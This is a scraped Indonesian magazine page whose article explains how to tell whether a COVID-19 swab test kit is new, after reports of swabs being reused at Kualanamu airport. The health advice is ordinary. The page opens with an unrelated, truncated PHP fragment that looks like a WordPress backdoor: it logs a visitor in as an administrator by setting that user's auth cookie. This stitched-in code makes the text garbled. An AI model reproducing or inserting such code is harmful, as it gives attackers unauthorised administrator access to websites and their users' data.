user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Selalu Waspada, Ini Cara Identifikasi Alat Test Swab Baru

2 May 2021


Foto: Pixabay


Temuan adanya penyalahgunaan alat swab bekas di Bandara Kualanamu, Medan memang sangat mengkhawairkan. Di tengah ketidakpastian akibat pandemi dan isu kesehatan, tindakan oknum petugas yang penyalahgunaan alat swab dengan cara mencuci ulang alat swab tersebut untuk digunakan kembali dalam pemeriksaan swab patut diwaspadai. 

Lalu, bagaimana cara mengidentifikasi penggunaan alat swab yang memang masih baru? Ahli Patologi Klinik Laboratorium Primaya Hospital Karawang, dr. Hadian Widyatmojo, Sp.PK, dalam Rilis yang dikirimkan kepada femina menghimbau agar sebelum melakukan swab, baik antigen maupun PCR, masyarakat perlu memastikan bahwa alat swab yang digunakan masih berada di dalam kemasan dan tersegel sempurna seperti dari pabrik. Hati-hati jika kemasan hanya ditutup dengan menggunakan lem atau double tap. 

Sebelum memulai prosedur swab, petugas swab wajib memperlihatkan bahwa alat swab masih baru di dalam kemasan dan dibuka di depan pasien. Jika prosedur yang dilakukan berbeda, maka pasien disarankan untuk meminta penjelasan pada petugas yang bersangkutan. “Anda patut curigai jika tidak melihat alat swab tersebut dibuka dari tempatnya di depan Anda,” ujar dr. Hadian.

Dengan membuka bungkus plastik sesaat sebelum tindakan swab akan menjaga agar alat swab tetap steril dan mencegah kontaminan. Selain itu, petugas juga akan menanyakan ulang nama pasien sebelum melakukan pemeriksaan untuk menghindari kesalahan identitas pasien.

Advertisement
Sebagai informasi, alat swab merupakan alat sekali pakai dan akan dibuang setelah digunakan. Seluruh alat swab tidak dapat digunakan kembali. “Penggunaan reusable alat swab sangat berisiko tinggi pada kesehatan dan penyebaran infeksi virus COVID-19 kepada pasien lainnya,” ujar dr. Selvi Josten, Sp.PK, Dokter Spesialis Patologi Klinik Primaya Hospital Makassar.

Selain disimpan dalam kemasan tersegel, ada beberapa indikasi lain alat swab masih baru. Seperti alat swab baru memiliki permukaan swab stik berwarna putih bersih, masih mulus atau tidak kelihatan bergerigi, serta tidak beraroma.

Selain itu, perhatikan izin edar terkait merek serta tanggal kadaluarsa alat yang digunakan. “Kadarluasa alat swab antar merek berbeda beda. Umumnya sebuah alat swab bisa bertahan bertahun tahun dari masa produksinya,” tutup dr. Hadian. (f) 


Baca Selanjutnya: 
Kini Cek Kekebalan Tubuh Terhadap COVID-19 Bisa Dengan Tes Antibodi Kuantitatif
Aturan Swab Antigen untuk Para Pelaku Perjalanan, Ini Kelebihan dan Kekurangannya
Fenomena baru Long COVID-19, Apa yang Perlu Diwaspadai Pasien?

 

 



Faunda Liswijayanti


Topic

#corona, #covid19

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?